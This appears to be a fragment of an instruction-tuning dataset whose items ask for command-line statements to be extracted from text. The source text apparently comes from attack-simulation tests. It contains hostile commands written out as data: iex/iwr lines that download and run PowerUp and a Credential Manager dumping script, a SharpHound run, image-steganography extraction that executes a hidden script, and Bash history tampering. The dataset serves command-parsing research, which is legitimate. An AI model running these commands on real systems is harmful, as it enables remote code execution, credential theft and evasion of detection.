    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can decode a base64-encoded string with Perl and output it to the console by executing these commands: ENCODED=$(perl -e \"use MIME::Base64;print(encode_base64('#{message}'));\")\nperl -le \"use MIME::Base64;print(decode_base64('$ENCODED'));\"\necho $ENCODED | perl -le 'use MIME::Base64;print(decode_base64(<STDIN>));'\necho $ENCODED > #{encoded_file} && perl -le 'use MIME::Base64;open($f,\"<\",\"#{encoded_file}\");print(decode_base64(<$f>));'",
    "output": "{\"command_list\": [\"ENCODED=$(perl -e \\\"use MIME::Base64;print(encode_base64('#{message}'));\\\")\\nperl -le \\\"use MIME::Base64;print(decode_base64('$ENCODED'));\\\"\\necho $ENCODED | perl -le 'use MIME::Base64;print(decode_base64(<STDIN>));'\\necho $ENCODED > #{encoded_file} && perl -le 'use MIME::Base64;open($f,\\\"<\\\",\\\"#{encoded_file}\\\");print(decode_base64(<$f>));'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When you need to silently remove a folder and all its contents from the temp directory, execute this Powershell command: Remove-Item -Path #{folder_to_delete} -Recurse. Check File Explorer to confirm the folder is gone.",
    "output": "{\"command_list\": [\"Remove-Item -Path #{folder_to_delete} -Recurse\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Demonstrating steganographic data obfuscation, this test conceals a PowerShell script within an image file. The hidden script is extracted and executed via this multi-step command: \ncd \"PathToAtomicsFolder\\ExternalPayloads\\\"\nImport-Module .\\Extract-Invoke-PSImage.ps1\n$extractedScript=Extract-Invoke-PSImage -Image \"#{image_file}\" -Out \"$HOME\\result.ps1\"\n$scriptContent = Get-Content \"$HOME\\result.ps1\" -Raw\n$base64Pattern = \"(?<=^|[^A-Za-z0-9+/])(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}(==)?|[A-Za-z0-9+/]{3}=)?(?=$|[^A-Za-z0-9+/])\"\n$base64Strings = [regex]::Matches($scriptContent, $base64Pattern) | ForEach-Object { $_.Value }\n$base64Strings | Set-Content \"$HOME\\decoded.ps1\"\n$decodedContent = Get-Content \"$HOME\\decoded.ps1\" -Raw\n$decodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($decodedContent))\n$textPattern = '^.+'  \n$textMatches = [regex]::Matches($decodedText, $textPattern) | ForEach-Object { $_.Value }\n$scriptPath = \"$HOME\\textExtraction.ps1\"\n$textMatches -join '' | Set-Content -Path $scriptPath\n. \"$HOME\\textExtraction.ps1\"",
    "output": "{\"command_list\": [\"cd \\\"PathToAtomicsFolder\\\\ExternalPayloads\\\\\\\"\\nImport-Module .\\\\Extract-Invoke-PSImage.ps1\\n$extractedScript=Extract-Invoke-PSImage -Image \\\"#{image_file}\\\" -Out \\\"$HOME\\\\result.ps1\\\"\\n$scriptContent = Get-Content \\\"$HOME\\\\result.ps1\\\" -Raw\\n$base64Pattern = \\\"(?<=^|[^A-Za-z0-9+/])(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}(==)?|[A-Za-z0-9+/]{3}=)?(?=$|[^A-Za-z0-9+/])\\\"\\n$base64Strings = [regex]::Matches($scriptContent, $base64Pattern) | ForEach-Object { $_.Value }\\n$base64Strings | Set-Content \\\"$HOME\\\\decoded.ps1\\\"\\n$decodedContent = Get-Content \\\"$HOME\\\\decoded.ps1\\\" -Raw\\n$decodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($decodedContent))\\n$textPattern = '^.+'  \\n$textMatches = [regex]::Matches($decodedText, $textPattern) | ForEach-Object { $_.Value }\\n$scriptPath = \\\"$HOME\\\\textExtraction.ps1\\\"\\n$textMatches -join '' | Set-Content -Path $scriptPath\\n. \\\"$HOME\\\\textExtraction.ps1\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To extract credentials from Windows Credential Manager, use the following command: IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force   \n",
    "output": "{\"command_list\": [\"IEX (IWR 'https://raw.githubusercontent.com/TriggerMan-S/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1' -UseBasicParsing); Get-PasswordVaultCredentials -Force   \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker can manipulate Bash history by exploiting leading spaces or duplicate suppression. To demonstrate this, the following steps are executed via the command:\nTEST=$(echo $HISTCONTROL)\nif [ \"$HISTCONTROL\" != \"ignoreboth\" ]; then export HISTCONTROL=\"ignoreboth\"; fi\nhistory -c \nls -la $HISTFILE # \" ls -la $HISTFILE\"\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls -la is not in history cache\"; fi\nif [ \"$HISTCONTROL\" != \"erasedups\" ]; then export HISTCONTROL=\"erasedups\"; fi\nhistory -c \nls -la $HISTFILE\nls -la $HISTFILE\nls -la $HISTFILE\nif [ $(history |wc -l) -eq 2 ]; then echo \"Their is only one entry for ls -la $HISTFILE\"; fi",
    "output": "{\"command_list\": [\"TEST=$(echo $HISTCONTROL)\\nif [ \\\"$HISTCONTROL\\\" != \\\"ignoreboth\\\" ]; then export HISTCONTROL=\\\"ignoreboth\\\"; fi\\nhistory -c \\nls -la $HISTFILE # \\\" ls -la $HISTFILE\\\"\\nif [ $(history |wc -l) -eq 1 ]; then echo \\\"ls -la is not in history cache\\\"; fi\\nif [ \\\"$HISTCONTROL\\\" != \\\"erasedups\\\" ]; then export HISTCONTROL=\\\"erasedups\\\"; fi\\nhistory -c \\nls -la $HISTFILE\\nls -la $HISTFILE\\nls -la $HISTFILE\\nif [ $(history |wc -l) -eq 2 ]; then echo \\\"Their is only one entry for ls -la $HISTFILE\\\"; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Prevent unauthorized access and reduce phishing risks by disabling external device sign-on via the command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\FIDO\" /v \"AllowExternalDeviceSignon\" /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\FIDO\\\" /v \\\"AllowExternalDeviceSignon\\\" /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
